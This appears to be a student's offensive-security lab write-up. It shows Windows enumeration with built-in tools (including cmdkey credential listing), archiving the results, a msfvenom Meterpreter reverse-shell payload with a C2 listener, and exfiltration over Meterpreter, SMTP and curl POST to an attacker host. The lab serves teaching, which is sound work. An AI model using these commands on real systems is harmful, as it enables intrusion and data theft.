Repository navigation
Week 4 Lab
Confirm access to the Windows 10 VM as champuser and create the working directory for output files.
mkdir C:\temp
Save all 12 commands to a single script (.bat or .ps1) that redirects each command's output to its own file in C:\temp\.
whoami /all > C:\temp\01_user_groups_privileges.txt 2>&1
tasklist > C:\temp\02_running_processes.txt 2>&1
netstat -ano > C:\temp\03_network_connections.txt 2>&1
sc.exe query > C:\temp\04_running_services.txt 2>&1
net.exe user > C:\temp\05_local_users.txt 2>&1
net.exe localgroup > C:\temp\06_local_groups.txt 2>&1
net.exe localgroup Administrators > C:\temp\07_administrators.txt 2>&1
ipconfig /all > C:\temp\08_network_configuration.txt 2>&1
netsh advfirewall show allprofiles > C:\temp\09_firewall_policies.txt 2>&1
arp -a > C:\temp\10_arp_table.txt 2>&1
net.exe session > C:\temp\11_smb_sessions.txt 2>&1
systeminfo > C:\temp\12_system_information.txt 2>&1
Run the script as champuser and confirm the output files were created.
dir C:\temp
whoami /all > C:\temp\01_user_groups_privileges.txt 2>&1
tasklist > C:\temp\02_running_processes.txt 2>&1
netstat -ano > C:\temp\03_network_connections.txt 2>&1
sc.exe query > C:\temp\04_running_services.txt 2>&1
net.exe user > C:\temp\05_local_users.txt 2>&1
net.exe localgroup > C:\temp\06_local_groups.txt 2>&1
### Command 7 — Users in the Administrators group
net.exe localgroup Administrators > C:\temp\07_administrators.txt 2>&1
ipconfig /all > C:\temp\08_network_configuration.txt 2>&1
netsh advfirewall show allprofiles > C:\temp\09_firewall_policies.txt 2>&1
arp -a > C:\temp\10_arp_table.txt 2>&1
net.exe session > C:\temp\11_smb_sessions.txt 2>&1
systeminfo > C:\temp\12_system_information.txt 2>&1
For each: command + flags, what it gathers, why an attacker wants it.
1.
- LOLBin:
cmdkey - Command:
cmdkey /list > C:\temp\13_cmdkey_credentials.txt 2>&1 - Information gathered: Stored Windows credentials, domain accounts, and saved network passwords stored in the Windows Credential Manager
- Attacker value: Identifies cached credentials and generic target servers that can be reused for privilege escalation or lateral movement without triggering password spray alerts.
2.
- LOLBin:
wmic - Command:
wmic qfe list brief > C:\temp\14_installed_patches.txt 2>&1 - Information gathered: Installed Quick Fix Engineering (QFE) Windows updates, hotfixes, and patch dates
- Attacker value: Reveals missing security updates and patch levels to target known privilege escalation vulnerabilities (e.g., specific kernel exploits).
3.
- LOLBin:
nltest - Command:
nltest /dclist: > C:\temp\15_domain_controllers.txt 2>&1 - Information gathered: List of active Domain Controllers across the Active Directory domain environment
- Attacker value: Highlights key Active Directory infrastructure targets for Kerberoasting, AS-REP roasting, or domain controller targeting.
4.
- LOLBin:
driverquery - Command:
driverquery /v > C:\temp\16_installed_drivers.txt 2>&1 - Information gathered: Installed device drivers, display names, driver types, and running status
- Attacker value: Identifies third-party kernel drivers vulnerable to Bring Your Own Vulnerable Driver (BYOVD) attacks or security software drivers (EDR/AV) that need to be bypassed.
5.
- LOLBin:
reg - Command:
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run > C:\temp\17_user_startup.txt 2>&1 - Information gathered: Registry keys configured to automatically run applications upon user logon
- Attacker value: Discovers current persistence mechanisms on the machine and identifies potential binary hijacking or permission weak points in existing startup tasks.
Compress all Task 1 output files into one archive using each tool below, with a screenshot of each run.
7-Zip (command-line)
& "C:\Program Files\7-Zip\7z.exe" a C:\temp\enum_stage1.7z C:\temp\*.txt
tar (native Windows)
tar -czvf C:\temp\enum_stage2.tar.gz -C C:\temp\ 01_user_groups_privileges.txt 02_running_processes.txt 03_network_connections.txt 04_running_services.txt 05_local_users.txt 06_local_groups.txt 07_administrators.txt 08_network_configuration.txt 09_firewall_policies.txt 10_arp_table.txt 11_smb_sessions.txt 12_system_information.txt
PowerShell Compress-Archive
Compress-Archive -Path C:\temp\*.txt -DestinationPath C:\temp\enum_stage3.zip
makecab
makecab cannot take multiple file arguments into command line in order to compress, so I made a directive file at C:\temp\cab.ddf containing files I wanted compressed with instructions
.OPTION EXPLICIT
.Set CabinetNameTemplate=enum_stage4.cab
.Set DiskDirectoryTemplate=C:\temp
.Set CompressionType=MSZIP
.Set MaxDiskSize=0
C:\temp\01_user_groups_privileges.txt
C:\temp\02_running_processes.txt
C:\temp\03_network_connections.txt
C:\temp\04_running_services.txt
C:\temp\05_local_users.txt
C:\temp\06_local_groups.txt
C:\temp\07_administrators.txt
C:\temp\08_network_configuration.txt
C:\temp\09_firewall_policies.txt
C:\temp\10_arp_table.txt
C:\temp\11_smb_sessions.txt
C:\temp\12_system_information.txt
Then I ran this command in order to compress
makecab /F C:\temp\cab.ddf
Confirm all four archives exist in C:\temp\.
dir C:\temp\*.7z, C:\temp\*.tar.gz, C:\temp\*.zip, C:\temp\*.cab
Generate a Meterpreter payload for the Windows VM on a non-default port (not 4444).
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.37 LPORT=8443 -f exe -o /tmp/payload.exe
Start the listener on the Kali/C2 server.
msfconsole -x "..."
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.17.37
msf6 exploit(multi/handler) > set LPORT 8443
msf6 exploit(multi/handler) > exploit -j
Run the payload on the Windows VM and confirm the Meterpreter session opens.
Download each archive from C:\temp\ to the C2 server using Meterpreter's download command.
sessions -i 1
meterpreter > download C:\\temp\\archive1.7z /home/champuser/loot/
meterpreter > download C:\\temp\\archive2.tar /home/champuser/loot/
meterpreter > download C:\\temp\\archive3.zip /home/champuser/loot/
meterpreter > download C:\\temp\\archive4.cab /home/champuser/loot/
Updated screenshot with correctly download cab file after realizing I needed to do more work to get all 12 files into a compression
Verify each file transferred completely and check sizes on the Kali side.
ls -la /home/champuser/loot/
Decompress each archive on the Kali/C2 server.
7z x /home/champuser/loot/enum_stage1.7z -o/home/champuser/loot/extracted_7z/
tar -xvf /home/champuser/loot/enum_stage2.tar -C /home/champuser/loot/extracted_tar/
unzip /home/champuser/loot/enum_stage3.zip -d /home/champuser/loot/extracted_zip/
cabextract /home/champuser/loot/enum_stage4.cab -d /home/champuser/loot/extracted_cab/Open one file from each decompressed archive and verify contents match the original output.
cat /home/champuser/loot/extracted1/<file>
cat /home/champuser/loot/extracted2/<file>
cat /home/champuser/loot/extracted3/<file>
cat /home/champuser/loot/extracted4/<file>Note: This section also requires a video submission showing each decompression command running, the extracted files, and one file from each archive opened and readable. Link it here.
Which archive format produced the smallest file? The smallest was 7z, followed by cab, tar, and regular zip
Which compression tool was easiest to use?
Definitely not makecab, I had to go back and redo that section because I hadn't realized I needed a ddf file to get more than one compressed from command line.
Two non-standard exfiltration methods are demonstrated below.
Attackers can use STMP as a vehicle to exfiltrate data that has been previously collected, or as an initial access vector to drop malware.
Install and start SMTP server on kali:
# installing
sudo apt install python3-aiosmtpd -y
# This command will appear to hang and won't output anything, leave the terminal window open and running and use a different instance. Once you have sent the email and waited roughly 45 seconds, cancel the program in order to get your files. Any sooner and you run the risk of corrupting the data.
sudo python3 -m aiosmtpd -n -l 0.0.0.0:25 > /tmp/smtp_capture.txt
From Windows, run this one liner to send the email:
Send-MailMessage -From "champuser@lab.local" -To "kali@lab.local" -Subject "Exfiltrated Archives" -Body "All files attached" -Attachments "C:\temp\enum_stage1.7z","C:\temp\enum_stage2.tar.gz","C:\temp\enum_stage3.zip","C:\temp\enum_stage4.cab" -SmtpServer 10.0.17.37 -Port 25
Using cat to insert text into a file, run this command below for the receiver script
cat > /tmp/extract_smtp.py << 'EOF'
from email import message_from_string
import os
import re
SAVE_DIR = "/home/kali/Desktop/smtp_exfil/"
os.makedirs(SAVE_DIR, exist_ok=True)
# Read the captured SMTP output
with open('/tmp/smtp_capture.txt', 'r') as f:
content = f.read()
# Extract the email content between DATA markers
match = re.search(r'b\'(.*?)\'', content, re.DOTALL)
if not match:
# Try finding raw email content directly
start = content.find('Content-Type:')
email_content = content[start:]
else:
email_content = match.group(1)
msg = message_from_string(email_content)
saved = 0
for part in msg.walk():
if part.get_content_disposition() == 'attachment':
filename = part.get_filename()
data = part.get_payload(decode=True)
filepath = os.path.join(SAVE_DIR, filename)
with open(filepath, 'wb') as f:
f.write(data)
print(f"Saved: {filename} ({len(data)} bytes)")
saved += 1
print(f"Done. Extracted {saved} attachments.")
EOF
Then run the script in sudo to make sure access to paths is granted
sudo python3 /tmp/extract_smtp.py
Using post requests, attackers can send data from a client to a server and upload large amounts of data, which could be stolen files or compressed archives, to external c2 servers
On Kali download and start uploadserver:
sudo apt update && sudo apt install pipx -y
pipx install uploadserver
cd ~/Desktop
uploadserver 8080
POST the files on windows
curl.exe -X POST http://10.0.17.37:8080/upload -F "files=@C:\temp\enum_stage1.7z"
curl.exe -X POST http://10.0.17.37:8080/upload -F "files=@C:\temp\enum_stage2.tar.gz"
curl.exe -X POST http://10.0.17.37:8080/upload -F "files=@C:\temp\enum_stage3.zip"
curl.exe -X POST http://10.0.17.37:8080/upload -F "files=@C:\temp\enum_stage4.cab"
Verify the files landed on Kali
1. What did you like the most about this exercise? I really enjoyed the self exploration aspect of it. Allowing us to go explore lolbins, exfiltration methods that aren't seen as often as some regularly used ones, I really enjoyed that.
2. What did you like the least about this exercise? Definitely task 1, while it was fun finding lolbins to use it was a bit repetitive to find and take note of them, while I feel the rest of the exercise was very hands on.